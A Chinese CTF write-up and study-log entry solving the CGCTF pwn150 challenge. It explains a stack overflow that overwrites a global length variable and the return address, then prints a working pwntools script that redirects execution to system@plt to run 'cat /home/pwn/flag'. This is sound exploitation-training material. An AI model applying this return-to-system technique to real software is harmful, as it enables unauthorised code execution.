171222 pwn-CGCTF(pwn150)

1625-5 王子昂 总结《2017年12月22日》 【连续第448天总结】
A. CGCTF-cgpwna
B.
简单的栈溢出,作为复习用的第一题233结果还是折腾了好久 基本概念不清啦

很明显,message函数中存在栈溢出
171222 pwn-CGCTF(pwn150)_第1张图片
A和n是全局变量,s是栈上的局部变量

虽然s的长度受限,但是因为是全局变量所以可以通过A的溢出来修改n
它们在bss段,发现n紧接着A后面,A的长度是28字节,因此只要超过28,小于60就可以修改n了
之后通过溢出s来覆盖保存的ebp和ReturnAddress
s放在ebp-30h的位置,因此加上0x34的offset就可以覆盖ReturnAddress

要把执行流劫持到哪里呢?
观察函数列表,发现有个pwnme,里面调用了_system函数
那么通过pwntools的ELF函数加载,取得system在plt表中的位置就行了(GOT表也一样)

注意system的调用方式:

mov [sp], &command
call system

call system的时候会push一个return address,再往后才是参数command,因此写payload的时候也要同样留出4个字节的offset

command参数是一个字符串的指针
因为我们只有A可以用来放字符串,并且地址已知
因此向A写入command,并把A的地址作为system的参数即可

payload如下

from pwn import *
# r = remote('182.254.217.142', 10001)
p = ELF('/root/ctf/nuptzj/cgpwna')
r = process('/root/ctf/nuptzj/cgpwna')

r.sendline('1')
r.sendline('cat /home/pwn/flag\0'+'a'*(0x28))
payload = 'a'*(0x34) + p32(p.plt['system'])+'a'*4+p32(0x804a080)
r.sendline(payload)
a = r.recvall()
log.info(a)

C. 明日计划
看书

你可能感兴趣的:(CTF)